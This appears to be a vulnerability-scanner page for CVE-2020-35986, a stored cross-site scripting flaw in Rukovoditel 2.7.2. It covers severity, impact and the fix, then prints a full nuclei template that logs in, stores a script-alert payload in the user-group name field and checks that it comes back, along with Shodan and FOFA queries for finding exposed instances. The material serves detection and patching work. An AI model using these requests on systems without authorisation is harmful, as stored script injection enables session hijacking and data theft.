Rukovoditel <= 2.7.2 - Cross Site Scripting

mediumseverity

5.4CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the application.

Fix

Upgrade Rukovoditel to a version higher than 2.7.2 to mitigate the XSS vulnerability.

How to confirm it

Send: GET /index.php?module=users/login ; POST /index.php?module=users/login&action=login ; POST /index.php?module=users_groups/users_groups&action=save
Positive when: status_code_3 == 200 and contains(body_3, "<script>alert(document.domain)</script>") and contains(body_3, "rukovoditel")

Run it with nuclei: nuclei -id CVE-2020-35986 -u <target>

The full check

id: CVE-2020-35986

info:
  name: Rukovoditel <= 2.7.2 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 2.7.2 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/r0ck3t1973/rukovoditel/issues/2
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35986
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-35986
    cwe-id: CWE-79
    epss-score: 0.01104
    epss-percentile: 0.66037
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:2.7.2:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2020,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=users_groups/users_groups&action=save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from